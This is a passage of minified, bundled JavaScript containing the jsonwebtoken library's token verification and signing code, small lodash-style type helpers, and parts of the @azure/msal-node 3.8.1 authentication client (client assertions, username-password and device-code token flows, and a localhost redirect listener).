Z;try{Z=$3Y.verify(A,J.header.alg,_)}catch(D){return z(D)}if(!Z)return z(new wH("invalid signature"));let W=J.payload;if(typeof W.nbf<"u"&&!q.ignoreNotBefore){if(typeof W.nbf!=="number")return z(new wH("invalid nbf value"));if(W.nbf>w+(q.clockTolerance||0))return z(new w3Y("jwt not active",new Date(W.nbf*1000)))}if(typeof W.exp<"u"&&!q.ignoreExpiration){if(typeof W.exp!=="number")return z(new wH("invalid exp value"));if(w>=W.exp+(q.clockTolerance||0))return z(new i77("jwt expired",new Date(W.exp*1000)))}if(q.audience){let D=Array.isArray(q.audience)?q.audience:[q.audience];if(!(Array.isArray(W.aud)?W.aud:[W.aud]).some(function(P){return D.some(function(f){return f instanceof RegExp?f.test(P):f===P})}))return z(new wH("jwt audience invalid. expected: "+D.join(" or ")))}if(q.issuer){if(typeof q.issuer==="string"&&W.iss!==q.issuer||Array.isArray(q.issuer)&&q.issuer.indexOf(W.iss)===-1)return z(new wH("jwt issuer invalid. expected: "+q.issuer))}if(q.subject){if(W.sub!==q.subject)return z(new wH("jwt subject invalid. expected: "+q.subject))}if(q.jwtid){if(W.jti!==q.jwtid)return z(new wH("jwt jwtid invalid. expected: "+q.jwtid))}if(q.nonce){if(W.nonce!==q.nonce)return z(new wH("jwt nonce invalid. expected: "+q.nonce))}if(q.maxAge){if(typeof W.iat!=="number")return z(new wH("iat required when maxAge is specified"));let D=J3Y(q.maxAge,W.iat);if(typeof D>"u")return z(new wH('"maxAge" should be a number of seconds or string representing a timespan eg: "1d", "20h", 60'));if(w>=D+(q.clockTolerance||0))return z(new i77("maxAge exceeded",new Date(D*1000)))}if(q.complete===!0){let D=J.signature;return z(null,{header:O,payload:W,signature:D})}return z(null,W)})}});var AK7=v((Zgw,e77)=>{var o77=1/0,s77=9007199254740991,j3Y=179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,a77=NaN,M3Y="[object Arguments]",P3Y="[object Function]",V3Y="[object GeneratorFunction]",f3Y="[object String]",N3Y="[object Symbol]",T3Y=/^\s+|\s+$/g,v3Y=/^[-+]0x[0-9a-f]+$/i,E3Y=/^0b[01]+$/i,k3Y=/^0o[0-7]+$/i,C3Y=/^(?:0|[1-9]\d*)$/,L3Y=parseInt;function R3Y(A,K){var q=-1,Y=A?A.length:0,z=Array(Y);while(++q<Y)z[q]=K(A[q],q,A);return z}function y3Y(A,K,q,Y){var z=A.length,w=q+(Y?1:-1);while(Y?w--:++w<z)if(K(A[w],w,A))return w;return-1}function I3Y(A,K,q){if(K!==K)return y3Y(A,S3Y,q);var Y=q-1,z=A.length;while(++Y<z)if(A[Y]===K)return Y;return-1}function S3Y(A){return A!==A}function h3Y(A,K){var q=-1,Y=Array(A);while(++q<A)Y[q]=K(q);return Y}function b3Y(A,K){return R3Y(K,function(q){return A[q]})}function x3Y(A,K){return function(q){return A(K(q))}}var TJ1=Object.prototype,C$6=TJ1.hasOwnProperty,vJ1=TJ1.toString,u3Y=TJ1.propertyIsEnumerable,B3Y=x3Y(Object.keys,Object),m3Y=Math.max;function g3Y(A,K){var q=t77(A)||d3Y(A)?h3Y(A.length,String):[],Y=q.length,z=!!Y;for(var w in A)if((K||C$6.call(A,w))&&!(z&&(w=="length"||Q3Y(w,Y))))q.push(w);return q}function F3Y(A){if(!U3Y(A))return B3Y(A);var K=[];for(var q in Object(A))if(C$6.call(A,q)&&q!="constructor")K.push(q);return K}function Q3Y(A,K){return K=K==null?s77:K,!!K&&(typeof A=="number"||C3Y.test(A))&&(A>-1&&A%1==0&&A<K)}function U3Y(A){var K=A&&A.constructor,q=typeof K=="function"&&K.prototype||TJ1;return A===q}function p3Y(A,K,q,Y){A=L$6(A)?A:e3Y(A),q=q&&!Y?a3Y(q):0;var z=A.length;if(q<0)q=m3Y(z+q,0);return n3Y(A)?q<=z&&A.indexOf(K,q)>-1:!!z&&I3Y(A,K,q)>-1}function d3Y(A){return c3Y(A)&&C$6.call(A,"callee")&&(!u3Y.call(A,"callee")||vJ1.call(A)==M3Y)}var t77=Array.isArray;function L$6(A){return A!=null&&i3Y(A.length)&&!l3Y(A)}function c3Y(A){return R$6(A)&&L$6(A)}function l3Y(A){var K=k$6(A)?vJ1.call(A):"";return K==P3Y||K==V3Y}function i3Y(A){return typeof A=="number"&&A>-1&&A%1==0&&A<=s77}function k$6(A){var K=typeof A;return!!A&&(K=="object"||K=="function")}function R$6(A){return!!A&&typeof A=="object"}function n3Y(A){return typeof A=="string"||!t77(A)&&R$6(A)&&vJ1.call(A)==f3Y}function r3Y(A){return typeof A=="symbol"||R$6(A)&&vJ1.call(A)==N3Y}function o3Y(A){if(!A)return A===0?A:0;if(A=s3Y(A),A===o77||A===-o77){var K=A<0?-1:1;return K*j3Y}return A===A?A:0}function a3Y(A){var K=o3Y(A),q=K%1;return K===K?q?K-q:K:0}function s3Y(A){if(typeof A=="number")return A;if(r3Y(A))return a77;if(k$6(A)){var K=typeof A.valueOf=="function"?A.valueOf():A;A=k$6(K)?K+"":K}if(typeof A!="string")return A===0?A:+A;A=A.replace(T3Y,"");var q=E3Y.test(A);return q||k3Y.test(A)?L3Y(A.slice(2),q?2:8):v3Y.test(A)?a77:+A}function t3Y(A){return L$6(A)?g3Y(A):F3Y(A)}function e3Y(A){return A?b3Y(A,t3Y(A)):[]}e77.exports=p3Y});var qK7=v((Wgw,KK7)=>{var A9Y="[object Boolean]",K9Y=Object.prototype,q9Y=K9Y.toString;function Y9Y(A){return A===!0||A===!1||z9Y(A)&&q9Y.call(A)==A9Y}function z9Y(A){return!!A&&typeof A=="object"}KK7.exports=Y9Y});var JK7=v((Dgw,HK7)=>{var YK7=1/0,w9Y=179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,zK7=NaN,H9Y="[object Symbol]",J9Y=/^\s+|\s+$/g,O9Y=/^[-+]0x[0-9a-f]+$/i,X9Y=/^0b[01]+$/i,$9Y=/^0o[0-7]+$/i,_9Y=parseInt,G9Y=Object.prototype,Z9Y=G9Y.toString;function W9Y(A){return typeof A=="number"&&A==P9Y(A)}function wK7(A){var K=typeof A;return!!A&&(K=="object"||K=="function")}function D9Y(A){return!!A&&typeof A=="object"}function j9Y(A){return typeof A=="symbol"||D9Y(A)&&Z9Y.call(A)==H9Y}function M9Y(A){if(!A)return A===0?A:0;if(A=V9Y(A),A===YK7||A===-YK7){var K=A<0?-1:1;return K*w9Y}return A===A?A:0}function P9Y(A){var K=M9Y(A),q=K%1;return K===K?q?K-q:K:0}function V9Y(A){if(typeof A=="number")return A;if(j9Y(A))return zK7;if(wK7(A)){var K=typeof A.valueOf=="function"?A.valueOf():A;A=wK7(K)?K+"":K}if(typeof A!="string")return A===0?A:+A;A=A.replace(J9Y,"");var q=X9Y.test(A);return q||$9Y.test(A)?_9Y(A.slice(2),q?2:8):O9Y.test(A)?zK7:+A}HK7.exports=W9Y});var XK7=v((jgw,OK7)=>{var f9Y="[object Number]",N9Y=Object.prototype,T9Y=N9Y.toString;function v9Y(A){return!!A&&typeof A=="object"}function E9Y(A){return typeof A=="number"||v9Y(A)&&T9Y.call(A)==f9Y}OK7.exports=E9Y});var ZK7=v((Mgw,GK7)=>{var k9Y="[object Object]";function C9Y(A){var K=!1;if(A!=null&&typeof A.toString!="function")try{K=!!(A+"")}catch(q){}return K}function L9Y(A,K){return function(q){return A(K(q))}}var R9Y=Function.prototype,$K7=Object.prototype,_K7=R9Y.toString,y9Y=$K7.hasOwnProperty,I9Y=_K7.call(Object),S9Y=$K7.toString,h9Y=L9Y(Object.getPrototypeOf,Object);function b9Y(A){return!!A&&typeof A=="object"}function x9Y(A){if(!b9Y(A)||S9Y.call(A)!=k9Y||C9Y(A))return!1;var K=h9Y(A);if(K===null)return!0;var q=y9Y.call(K,"constructor")&&K.constructor;return typeof q=="function"&&q instanceof q&&_K7.call(q)==I9Y}GK7.exports=x9Y});var DK7=v((Pgw,WK7)=>{var u9Y="[object String]",B9Y=Object.prototype,m9Y=B9Y.toString,g9Y=Array.isArray;function F9Y(A){return!!A&&typeof A=="object"}function Q9Y(A){return typeof A=="string"||!g9Y(A)&&F9Y(A)&&m9Y.call(A)==u9Y}WK7.exports=Q9Y});var fK7=v((Vgw,VK7)=>{var U9Y="Expected a function",jK7=1/0,p9Y=179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,MK7=NaN,d9Y="[object Symbol]",c9Y=/^\s+|\s+$/g,l9Y=/^[-+]0x[0-9a-f]+$/i,i9Y=/^0b[01]+$/i,n9Y=/^0o[0-7]+$/i,r9Y=parseInt,o9Y=Object.prototype,a9Y=o9Y.toString;function s9Y(A,K){var q;if(typeof K!="function")throw TypeError(U9Y);return A=qYY(A),function(){if(--A>0)q=K.apply(this,arguments);if(A<=1)K=void 0;return q}}function t9Y(A){return s9Y(2,A)}function PK7(A){var K=typeof A;return!!A&&(K=="object"||K=="function")}function e9Y(A){return!!A&&typeof A=="object"}function AYY(A){return typeof A=="symbol"||e9Y(A)&&a9Y.call(A)==d9Y}function KYY(A){if(!A)return A===0?A:0;if(A=YYY(A),A===jK7||A===-jK7){var K=A<0?-1:1;return K*p9Y}return A===A?A:0}function qYY(A){var K=KYY(A),q=K%1;return K===K?q?K-q:K:0}function YYY(A){if(typeof A=="number")return A;if(AYY(A))return MK7;if(PK7(A)){var K=typeof A.valueOf=="function"?A.valueOf():A;A=PK7(K)?K+"":K}if(typeof A!="string")return A===0?A:+A;A=A.replace(c9Y,"");var q=i9Y.test(A);return q||n9Y.test(A)?r9Y(A.slice(2),q?2:8):l9Y.test(A)?MK7:+A}VK7.exports=t9Y});var yK7=v((fgw,RK7)=>{var NK7=H$6(),zYY=T$6(),wYY=N$6(),TK7=wJ1(),HYY=AK7(),EJ1=qK7(),vK7=JK7(),y$6=XK7(),kK7=ZK7(),Qo=DK7(),JYY=fK7(),{KeyObject:OYY,createSecretKey:XYY,createPrivateKey:$YY}=CA("crypto"),CK7=["RS256","RS384","RS512","ES256","ES384","ES512","HS256","HS384","HS512","none"];if(zYY)CK7.splice(3,0,"PS256","PS384","PS512");var _YY={expiresIn:{isValid:function(A){return vK7(A)||Qo(A)&&A},message:'"expiresIn" should be a number of seconds or string representing a timespan'},notBefore:{isValid:function(A){return vK7(A)||Qo(A)&&A},message:'"notBefore" should be a number of seconds or string representing a timespan'},audience:{isValid:function(A){return Qo(A)||Array.isArray(A)},message:'"audience" must be a string or array'},algorithm:{isValid:HYY.bind(null,CK7),message:'"algorithm" must be a valid string enum value'},header:{isValid:kK7,message:'"header" must be an object'},encoding:{isValid:Qo,message:'"encoding" must be a string'},issuer:{isValid:Qo,message:'"issuer" must be a string'},subject:{isValid:Qo,message:'"subject" must be a string'},jwtid:{isValid:Qo,message:'"jwtid" must be a string'},noTimestamp:{isValid:EJ1,message:'"noTimestamp" must be a boolean'},keyid:{isValid:Qo,message:'"keyid" must be a string'},mutatePayload:{isValid:EJ1,message:'"mutatePayload" must be a boolean'},allowInsecureKeySizes:{isValid:EJ1,message:'"allowInsecureKeySizes" must be a boolean'},allowInvalidAsymmetricKeyTypes:{isValid:EJ1,message:'"allowInvalidAsymmetricKeyTypes" must be a boolean'}},GYY={iat:{isValid:y$6,message:'"iat" should be a number of seconds'},exp:{isValid:y$6,message:'"exp" should be a number of seconds'},nbf:{isValid:y$6,message:'"nbf" should be a number of seconds'}};function LK7(A,K,q,Y){if(!kK7(q))throw Error('Expected "'+Y+'" to be a plain object.');Object.keys(q).forEach(function(z){let w=A[z];if(!w){if(!K)throw Error('"'+z+'" is not allowed in "'+Y+'"');return}if(!w.isValid(q[z]))throw Error(w.message)})}function ZYY(A){return LK7(_YY,!1,A,"options")}function WYY(A){return LK7(GYY,!0,A,"payload")}var EK7={audience:"aud",issuer:"iss",subject:"sub",jwtid:"jti"},DYY=["expiresIn","notBefore","noTimestamp","audience","issuer","subject","jwtid"];RK7.exports=function(A,K,q,Y){if(typeof q==="function")Y=q,q={};else q=q||{};let z=typeof A==="object"&&!Buffer.isBuffer(A),w=Object.assign({alg:q.algorithm||"HS256",typ:z?"JWT":void 0,kid:q.keyid},q.header);function H(X){if(Y)return Y(X);throw X}if(!K&&q.algorithm!=="none")return H(Error("secretOrPrivateKey must have a value"));if(K!=null&&!(K instanceof OYY))try{K=$YY(K)}catch(X){try{K=XYY(typeof K==="string"?Buffer.from(K):K)}catch($){return H(Error("secretOrPrivateKey is not valid key material"))}}if(w.alg.startsWith("HS")&&K.type!=="secret")return H(Error(`secretOrPrivateKey must be a symmetric key when using ${w.alg}`));else if(/^(?:RS|PS|ES)/.test(w.alg)){if(K.type!=="private")return H(Error(`secretOrPrivateKey must be an asymmetric key when using ${w.alg}`));if(!q.allowInsecureKeySizes&&!w.alg.startsWith("ES")&&K.asymmetricKeyDetails!==void 0&&K.asymmetricKeyDetails.modulusLength<2048)return H(Error(`secretOrPrivateKey has a minimum key size of 2048 bits for ${w.alg}`))}if(typeof A>"u")return H(Error("payload is required"));else if(z){try{WYY(A)}catch(X){return H(X)}if(!q.mutatePayload)A=Object.assign({},A)}else{let X=DYY.filter(function($){return typeof q[$]<"u"});if(X.length>0)return H(Error("invalid "+X.join(",")+" option for "+typeof A+" payload"))}if(typeof A.exp<"u"&&typeof q.expiresIn<"u")return H(Error('Bad "options.expiresIn" option the payload already has an "exp" property.'));if(typeof A.nbf<"u"&&typeof q.notBefore<"u")return H(Error('Bad "options.notBefore" option the payload already has an "nbf" property.'));try{ZYY(q)}catch(X){return H(X)}if(!q.allowInvalidAsymmetricKeyTypes)try{wYY(w.alg,K)}catch(X){return H(X)}let J=A.iat||Math.floor(Date.now()/1000);if(q.noTimestamp)delete A.iat;else if(z)A.iat=J;if(typeof q.notBefore<"u"){try{A.nbf=NK7(q.notBefore,J)}catch(X){return H(X)}if(typeof A.nbf>"u")return H(Error('"notBefore" should be a number of seconds or string representing a timespan eg: "1d", "20h", 60'))}if(typeof q.expiresIn<"u"&&typeof A==="object"){try{A.exp=NK7(q.expiresIn,J)}catch(X){return H(X)}if(typeof A.exp>"u")return H(Error('"expiresIn" should be a number of seconds or string representing a timespan eg: "1d", "20h", 60'))}Object.keys(EK7).forEach(function(X){let $=EK7[X];if(typeof q[X]<"u"){if(typeof A[$]<"u")return H(Error('Bad "options.'+X+'" option. The payload already has an "'+$+'" property.'));A[$]=q[X]}});let O=q.encoding||"utf8";if(typeof Y==="function")Y=Y&&JYY(Y),TK7.createSign({header:w,privateKey:K,payload:A,encoding:O}).once("error",Y).once("done",function(X){if(!q.allowInsecureKeySizes&&/^(?:RS|PS)/.test(w.alg)&&X.length<256)return Y(Error(`secretOrPrivateKey has a minimum key size of 2048 bits for ${w.alg}`));Y(null,X)});else{let X=TK7.sign({header:w,payload:A,secret:K,encoding:O});if(!q.allowInsecureKeySizes&&/^(?:RS|PS)/.test(w.alg)&&X.length<256)throw Error(`secretOrPrivateKey has a minimum key size of 2048 bits for ${w.alg}`);return X}}});var SK7=v((Ngw,IK7)=>{IK7.exports={decode:Y$6(),verify:r77(),sign:yK7(),JsonWebTokenError:OxA(),NotBeforeError:z$6(),TokenExpiredError:w$6()}});class _I{static fromAssertion(A){let K=new _I;return K.jwt=A,K}static fromCertificate(A,K,q){let Y=new _I;if(Y.privateKey=K,Y.thumbprint=A,Y.useSha256=!1,q)Y.publicCertificate=this.parseCertificate(q);return Y}static fromCertificateWithSha256Thumbprint(A,K,q){let Y=new _I;if(Y.privateKey=K,Y.thumbprint=A,Y.useSha256=!0,q)Y.publicCertificate=this.parseCertificate(q);return Y}getJwt(A,K,q){if(this.privateKey&&this.thumbprint){if(this.jwt&&!this.isExpired()&&K===this.issuer&&q===this.jwtAudience)return this.jwt;return this.createJwt(A,K,q)}if(this.jwt)return this.jwt;throw t6(oz.invalidAssertion)}createJwt(A,K,q){this.issuer=K,this.jwtAudience=q;let Y=FH.nowSeconds();this.expirationTime=Y+600;let w={alg:this.useSha256?PC.PSS_256:PC.RSA_256},H=this.useSha256?PC.X5T_256:PC.X5T;if(Object.assign(w,{[H]:eV.base64EncodeUrl(this.thumbprint,lZ.HEX)}),this.publicCertificate)Object.assign(w,{[PC.X5C]:this.publicCertificate});let J={[PC.AUDIENCE]:this.jwtAudience,[PC.EXPIRATION_TIME]:this.expirationTime,[PC.ISSUER]:this.issuer,[PC.SUBJECT]:this.issuer,[PC.NOT_BEFORE]:Y,[PC.JWT_ID]:A.createNewGuid()};return this.jwt=hK7.default.sign(J,this.privateKey,{header:w}),this.jwt}isExpired(){return this.expirationTime<FH.nowSeconds()}static parseCertificate(A){let K=/-----BEGIN CERTIFICATE-----\r*\n(.+?)\r*\n-----END CERTIFICATE-----/gs,q=[],Y;while((Y=K.exec(A))!==null)q.push(Y[1].replace(/\r*\n/g,u6.EMPTY_STRING));return q}}var hK7;var kJ1=k(()=>{p2();qxA();UH();hK7=o(SK7(),1);/*! @azure/msal-node v3.8.1 2025-10-29 */});var CJ1="@azure/msal-node",GI="3.8.1";var DGA=k(()=>{/*! @azure/msal-node v3.8.1 2025-10-29 */});var MxA;var I$6=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */MxA=class MxA extends FD{constructor(A){super(A)}async acquireToken(A){this.logger.info("in acquireToken call in username-password client");let K=FH.nowSeconds(),q=await this.executeTokenRequest(this.authority,A),Y=new K0(this.config.authOptions.clientId,this.cacheManager,this.cryptoUtils,this.logger,this.config.serializableCache,this.config.persistencePlugin);return Y.validateTokenResponse(q.body),Y.handleServerTokenResponse(q.body,this.authority,K,A)}async executeTokenRequest(A,K){let q=this.createTokenQueryParameters(K),Y=p5.appendQueryString(A.tokenEndpoint,q),z=await this.createTokenRequestBody(K),w=this.createTokenRequestHeaders({credential:K.username,type:CM.UPN}),H={clientId:this.config.authOptions.clientId,authority:A.canonicalAuthority,scopes:K.scopes,claims:K.claims,authenticationScheme:K.authenticationScheme,resourceRequestMethod:K.resourceRequestMethod,resourceRequestUri:K.resourceRequestUri,shrClaims:K.shrClaims,sshKid:K.sshKid};return this.executePostToTokenEndpoint(Y,z,w,H,K.correlationId)}async createTokenRequestBody(A){let K=new Map;if(t4.addClientId(K,this.config.authOptions.clientId),t4.addUsername(K,A.username),t4.addPassword(K,A.password),t4.addScopes(K,A.scopes),t4.addResponseType(K,p_A.IDTOKEN_TOKEN),t4.addGrantType(K,aV.RESOURCE_OWNER_PASSWORD_GRANT),t4.addClientInfo(K),t4.addLibraryInfo(K,this.config.libraryInfo),t4.addApplicationTelemetry(K,this.config.telemetry.application),t4.addThrottling(K),this.serverTelemetryManager)t4.addServerTelemetry(K,this.serverTelemetryManager);let q=A.correlationId||this.config.cryptoInterface.createNewGuid();if(t4.addCorrelationId(K,q),this.config.clientCredentials.clientSecret)t4.addClientSecret(K,this.config.clientCredentials.clientSecret);let Y=this.config.clientCredentials.clientAssertion;if(Y)t4.addClientAssertion(K,await yM(Y.assertion,this.config.authOptions.clientId,A.resourceRequestUri)),t4.addClientAssertionType(K,Y.assertionType);if(!Vw.isEmptyObj(A.claims)||this.config.authOptions.clientCapabilities&&this.config.authOptions.clientCapabilities.length>0)t4.addClaims(K,A.claims,this.config.authOptions.clientCapabilities);if(this.config.systemOptions.preventCorsPreflight&&A.username)t4.addCcsUpn(K,A.username);return iZ.mapToQueryString(K)}}});function bK7(A,K,q,Y){let z=rbA.getStandardAuthorizeRequestParameters({...A.auth,authority:K,redirectUri:q.redirectUri||""},q,Y);if(t4.addLibraryInfo(z,{sku:IM.MSAL_SKU,version:GI,cpu:process.arch||"",os:process.platform||""}),A.auth.protocolMode!==gD.OIDC)t4.addApplicationTelemetry(z,A.telemetry.application);if(t4.addResponseType(z,p_A.CODE),q.codeChallenge&&q.codeChallengeMethod)t4.addCodeChallengeParams(z,q.codeChallenge,q.codeChallengeMethod);return t4.addExtraQueryParameters(z,q.extraQueryParameters||{}),rbA.getAuthorizeUrl(K,z,A.auth.encodeExtraQueryParams,q.extraQueryParameters)}var xK7=k(()=>{p2();UH();DGA();/*! @azure/msal-node v3.8.1 2025-10-29 */});class xKA{constructor(A){this.config=D67(A),this.cryptoProvider=new FU,this.logger=new sV(this.config.system.loggerOptions,CJ1,GI),this.storage=new hKA(this.logger,this.config.auth.clientId,this.cryptoProvider,kX6(this.config.auth)),this.tokenCache=new wxA(this.storage,this.logger,this.config.cache.cachePlugin)}async getAuthCodeUrl(A){this.logger.info("getAuthCodeUrl called",A.correlationId);let K={...A,...await this.initializeBaseRequest(A),responseMode:A.responseMode||fu.QUERY,authenticationScheme:x9.BEARER,state:A.state||"",nonce:A.nonce||""},q=await this.createAuthority(K.authority,K.correlationId,void 0,A.azureCloudOptions);return bK7(this.config,q,K,this.logger)}async acquireTokenByCode(A,K){if(this.logger.info("acquireTokenByCode called"),A.state&&K)this.logger.info("acquireTokenByCode - validating state"),this.validateState(A.state,K.state||""),K={...K,state:""};let q={...A,...await this.initializeBaseRequest(A),authenticationScheme:x9.BEARER},Y=this.initializeServerTelemetryManager(mU.acquireTokenByCode,q.correlationId);try{let z=await this.createAuthority(q.authority,q.correlationId,void 0,A.azureCloudOptions),w=await this.buildOauthClientConfiguration(z,q.correlationId,q.redirectUri,Y),H=new uH1(w);return this.logger.verbose("Auth code client created",q.correlationId),await H.acquireToken(q,K)}catch(z){if(z instanceof V5)z.setCorrelationId(q.correlationId);throw Y.cacheFailedRequest(z),z}}async acquireTokenByRefreshToken(A){this.logger.info("acquireTokenByRefreshToken called",A.correlationId);let K={...A,...await this.initializeBaseRequest(A),authenticationScheme:x9.BEARER},q=this.initializeServerTelemetryManager(mU.acquireTokenByRefreshToken,K.correlationId);try{let Y=await this.createAuthority(K.authority,K.correlationId,void 0,A.azureCloudOptions),z=await this.buildOauthClientConfiguration(Y,K.correlationId,K.redirectUri||"",q),w=new OGA(z);return this.logger.verbose("Refresh token client created",K.correlationId),await w.acquireToken(K)}catch(Y){if(Y instanceof V5)Y.setCorrelationId(K.correlationId);throw q.cacheFailedRequest(Y),Y}}async acquireTokenSilent(A){let K={...A,...await this.initializeBaseRequest(A),forceRefresh:A.forceRefresh||!1},q=this.initializeServerTelemetryManager(mU.acquireTokenSilent,K.correlationId,K.forceRefresh);try{let Y=await this.createAuthority(K.authority,K.correlationId,void 0,A.azureCloudOptions),z=await this.buildOauthClientConfiguration(Y,K.correlationId,K.redirectUri||"",q),w=new BH1(z);this.logger.verbose("Silent flow client created",K.correlationId);try{return await this.tokenCache.overwriteCache(),await this.acquireCachedTokenSilent(K,w,z)}catch(H){if(H instanceof Lo&&H.errorCode===oz.tokenRefreshRequired)return new OGA(z).acquireTokenByRefreshToken(K);throw H}}catch(Y){if(Y instanceof V5)Y.setCorrelationId(K.correlationId);throw q.cacheFailedRequest(Y),Y}}async acquireCachedTokenSilent(A,K,q){let[Y,z]=await K.acquireCachedToken({...A,scopes:A.scopes?.length?A.scopes:[...mD]});if(z===Pw.PROACTIVELY_REFRESHED){this.logger.info("ClientApplication:acquireCachedTokenSilent - Cached access token's refreshOn property has been exceeded'. It's not expired, but must be refreshed.");let w=new OGA(q);try{await w.acquireTokenByRefreshToken(A)}catch{}}return Y}async acquireTokenByUsernamePassword(A){this.logger.info("acquireTokenByUsernamePassword called",A.correlationId);let K={...A,...await this.initializeBaseRequest(A)},q=this.initializeServerTelemetryManager(mU.acquireTokenByUsernamePassword,K.correlationId);try{let Y=await this.createAuthority(K.authority,K.correlationId,void 0,A.azureCloudOptions),z=await this.buildOauthClientConfiguration(Y,K.correlationId,"",q),w=new MxA(z);return this.logger.verbose("Username password client created",K.correlationId),await w.acquireToken(K)}catch(Y){if(Y instanceof V5)Y.setCorrelationId(K.correlationId);throw q.cacheFailedRequest(Y),Y}}getTokenCache(){return this.logger.info("getTokenCache called"),this.tokenCache}validateState(A,K){if(!A)throw CJ.createStateNotFoundError();if(A!==K)throw t6(oz.stateMismatch)}getLogger(){return this.logger}setLogger(A){this.logger=A}async buildOauthClientConfiguration(A,K,q,Y){return this.logger.verbose("buildOauthClientConfiguration called",K),this.logger.info(`Building oauth client configuration with the following authority: ${A.tokenEndpoint}.`,K),Y?.updateRegionDiscoveryMetadata(A.regionDiscoveryMetadata),{authOptions:{clientId:this.config.auth.clientId,authority:A,clientCapabilities:this.config.auth.clientCapabilities,redirectUri:q},loggerOptions:{logLevel:this.config.system.loggerOptions.logLevel,loggerCallback:this.config.system.loggerOptions.loggerCallback,piiLoggingEnabled:this.config.system.loggerOptions.piiLoggingEnabled,correlationId:K},cacheOptions:{claimsBasedCachingEnabled:this.config.cache.claimsBasedCachingEnabled},cryptoInterface:this.cryptoProvider,networkInterface:this.config.system.networkClient,storageInterface:this.storage,serverTelemetryManager:Y,clientCredentials:{clientSecret:this.clientSecret,clientAssertion:await this.getClientAssertion(A)},libraryInfo:{sku:IM.MSAL_SKU,version:GI,cpu:process.arch||u6.EMPTY_STRING,os:process.platform||u6.EMPTY_STRING},telemetry:this.config.telemetry,persistencePlugin:this.config.cache.cachePlugin,serializableCache:this.tokenCache}}async getClientAssertion(A){if(this.developerProvidedClientAssertion)this.clientAssertion=_I.fromAssertion(await yM(this.developerProvidedClientAssertion,this.config.auth.clientId,A.tokenEndpoint));return this.clientAssertion&&{assertion:this.clientAssertion.getJwt(this.cryptoProvider,this.config.auth.clientId,A.tokenEndpoint),assertionType:IM.JWT_BEARER_ASSERTION_TYPE}}async initializeBaseRequest(A){if(this.logger.verbose("initializeRequestScopes called",A.correlationId),A.authenticationScheme&&A.authenticationScheme===x9.POP)this.logger.verbose("Authentication Scheme 'pop' is not supported yet, setting Authentication Scheme to 'Bearer' for request",A.correlationId);if(A.authenticationScheme=x9.BEARER,this.config.cache.claimsBasedCachingEnabled&&A.claims&&!Vw.isEmptyObj(A.claims))A.requestedClaimsHash=await this.cryptoProvider.hashString(A.claims);return{...A,scopes:[...A&&A.scopes||[],...mD],correlationId:A&&A.correlationId||this.cryptoProvider.createNewGuid(),authority:A.authority||this.config.auth.authority}}initializeServerTelemetryManager(A,K,q){let Y={clientId:this.config.auth.clientId,correlationId:K,apiId:A,forceRefresh:q||!1};return new mo(Y,this.storage)}async createAuthority(A,K,q,Y){this.logger.verbose("createAuthority called",K);let z=$_.generateAuthority(A,Y||this.config.auth.azureCloudOptions),w={protocolMode:this.config.auth.protocolMode,knownAuthorities:this.config.auth.knownAuthorities,cloudDiscoveryMetadata:this.config.auth.cloudDiscoveryMetadata,authorityMetadata:this.config.auth.authorityMetadata,azureRegionConfiguration:q,skipAuthorityMetadataCache:this.config.auth.skipAuthorityMetadataCache};return vH1.createDiscoveredInstance(z,this.config.system.networkClient,this.storage,w,this.logger,K)}clearCache(){this.storage.clear()}}var LJ1=k(()=>{p2();QX6();YxA();AJ1();UH();oX6();kJ1();DGA();tbA();I$6();xK7();/*! @azure/msal-node v3.8.1 2025-10-29 */});import jYY from"http";class S$6{async listenForAuthCode(A,K){if(this.server)throw CJ.createLoopbackServerAlreadyExistsError();return new Promise((q,Y)=>{this.server=jYY.createServer((z,w)=>{let H=z.url;if(!H){w.end(K||"Error occurred loading redirectUrl"),Y(CJ.createUnableToLoadRedirectUrlError());return}else if(H===u6.FORWARD_SLASH){w.end(A||"Auth code was successfully acquired. You can close this window now.");return}let J=this.getRedirectUri(),O=new URL(H,J),X=iZ.getDeserializedResponse(O.search)||{};if(X.code)w.writeHead(P5.REDIRECT,{location:J}),w.end();if(X.error)w.end(K||`Error occurred: ${X.error}`);q(X)}),this.server.listen(0,"127.0.0.1")})}getRedirectUri(){if(!this.server||!this.server.listening)throw CJ.createNoLoopbackServerExistsError();let A=this.server.address();if(!A||typeof A==="string"||!A.port)throw this.closeServer(),CJ.createInvalidLoopbackAddressTypeError();let K=A&&A.port;return`${IM.HTTP_PROTOCOL}${IM.LOCALHOST}:${K}`}closeServer(){if(this.server){if(this.server.close(),typeof this.server.closeAllConnections==="function")this.server.closeAllConnections();this.server.unref(),this.server=void 0}}}var uK7=k(()=>{p2();tbA();UH();/*! @azure/msal-node v3.8.1 2025-10-29 */});var PxA;var h$6=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */PxA=class PxA extends FD{constructor(A){super(A)}async acquireToken(A){let K=await this.getDeviceCode(A);A.deviceCodeCallback(K);let q=FH.nowSeconds(),Y=await this.acquireTokenWithDeviceCode(A,K),z=new K0(this.config.authOptions.clientId,this.cacheManager,this.cryptoUtils,this.logger,this.config.serializableCache,this.config.persistencePlugin);return z.validateTokenResponse(Y),z.handleServerTokenResponse(Y,this.authority,q,A)}async getDeviceCode(A){let K=this.createExtraQueryParameters(A),q=p5.appendQueryString(this.authority.deviceCodeEndpoint,K),Y=this.createQueryString(A),z=this.createTokenRequestHeaders(),w={clientId:this.config.authOptions.clientId,authority:A.authority,scopes:A.scopes,claims:A.claims,authenticationScheme:A.authenticationScheme,resourceRequestMethod:A.resourceRequestMethod,resourceRequestUri:A.resourceRequestUri,shrClaims:A.shrClaims,sshKid:A.sshKid};return this.executePostRequestToDeviceCodeEndpoint(q,Y,z,w,A.correlationId)}createExtraQueryParameters(A){let K=new Map;if(A.extraQueryParameters)t4.addExtraQueryParameters(K,A.extraQueryParameters);return iZ.mapToQueryString(K)}async 